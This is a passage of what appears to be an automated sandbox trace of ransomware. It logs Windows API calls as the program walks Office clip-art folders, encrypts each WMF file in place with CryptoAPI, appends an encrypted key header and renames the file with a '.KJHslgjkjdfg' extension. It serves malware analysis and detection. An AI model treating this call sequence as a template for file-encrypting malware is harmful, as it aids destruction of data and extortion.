| out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.609] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.609] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.609] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.609] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x30f0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x30f0, lpOverlapped=0x0) returned 1 [0174.623] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x30f0, dwBufLen=0x30f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x30f0) returned 1 [0174.623] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.623] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x30f0, lpOverlapped=0x0) returned 1 [0174.623] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.623] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x31c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.623] SetEndOfFile (hFile=0x114) returned 1 [0174.626] GetProcessHeap () returned 0x2a0000 [0174.626] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.626] GetProcessHeap () returned 0x2a0000 [0174.626] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.626] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf.kjhslgjkjdfg")) returned 1 [0174.628] CloseHandle (hObject=0x114) returned 1 [0174.628] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x560, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0156537.WMF", cAlternateFileName="")) returned 1 [0174.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.630] GetProcessHeap () returned 0x2a0000 [0174.630] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.630] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.630] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.630] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.630] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.630] GetProcessHeap () returned 0x2a0000 [0174.630] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.630] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.630] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.630] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.646] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.646] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.646] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.646] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.646] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.646] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.646] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.646] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.646] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x560, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x560, lpOverlapped=0x0) returned 1 [0174.646] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x560, dwBufLen=0x560 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x560) returned 1 [0174.646] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.647] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x560, lpOverlapped=0x0) returned 1 [0174.647] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.647] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.647] SetEndOfFile (hFile=0x114) returned 1 [0174.650] GetProcessHeap () returned 0x2a0000 [0174.650] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.650] GetProcessHeap () returned 0x2a0000 [0174.650] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.650] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf.kjhslgjkjdfg")) returned 1 [0174.659] CloseHandle (hObject=0x114) returned 1 [0174.659] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb66e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0157167.WMF", cAlternateFileName="")) returned 1 [0174.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.661] GetProcessHeap () returned 0x2a0000 [0174.661] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.661] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.661] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.661] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0174.667] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.667] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.667] GetProcessHeap () returned 0x2a0000 [0174.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.667] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.667] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.667] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.667] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.667] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.667] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.667] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.667] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.668] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.668] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.668] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.668] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb66e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb66e, lpOverlapped=0x0) returned 1 [0174.674] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb670, dwBufLen=0xb670 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb670) returned 1 [0174.675] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.675] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb670, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb670, lpOverlapped=0x0) returned 1 [0174.675] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.675] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.675] SetEndOfFile (hFile=0x114) returned 1 [0174.678] GetProcessHeap () returned 0x2a0000 [0174.678] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.678] GetProcessHeap () returned 0x2a0000 [0174.678] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.678] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf.kjhslgjkjdfg")) returned 1 [0174.680] CloseHandle (hObject=0x114) returned 1 [0174.680] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x54d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0157177.WMF", cAlternateFileName="")) returned 1 [0174.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.681] GetProcessHeap () returned 0x2a0000 [0174.681] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.681] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.681] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.681] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0174.683] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.683] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.683] GetProcessHeap () returned 0x2a0000 [0174.683] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.683] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.683] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.684] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.684] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.684] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.684] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.684] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.684] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.684] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.684] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.684] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.684] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x54d4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x54d4, lpOverlapped=0x0) returned 1 [0174.687] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x54e0, dwBufLen=0x54e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x54e0) returned 1 [0174.688] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.688] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x54e0, lpOverlapped=0x0) returned 1 [0174.688] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.688] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x55b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.688] SetEndOfFile (hFile=0x114) returned 1 [0174.691] GetProcessHeap () returned 0x2a0000 [0174.691] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.691] GetProcessHeap () returned 0x2a0000 [0174.691] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.691] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf.kjhslgjkjdfg")) returned 1 [0174.693] CloseHandle (hObject=0x114) returned 1 [0174.693] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x45f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0157191.WMF", cAlternateFileName="")) returned 1 [0174.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.694] GetProcessHeap () returned 0x2a0000 [0174.694] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.694] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.694] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.694] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.720] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.720] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.720] GetProcessHeap () returned 0x2a0000 [0174.720] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.720] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.720] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.720] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.721] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.721] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.721] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.721] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.721] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.721] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.721] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.721] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.721] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x45f8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x45f8, lpOverlapped=0x0) returned 1 [0174.743] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4600, dwBufLen=0x4600 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4600) returned 1 [0174.743] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.743] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4600, lpOverlapped=0x0) returned 1 [0174.743] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.743] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x46d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.744] SetEndOfFile (hFile=0x114) returned 1 [0174.746] GetProcessHeap () returned 0x2a0000 [0174.746] HeapFree (in: 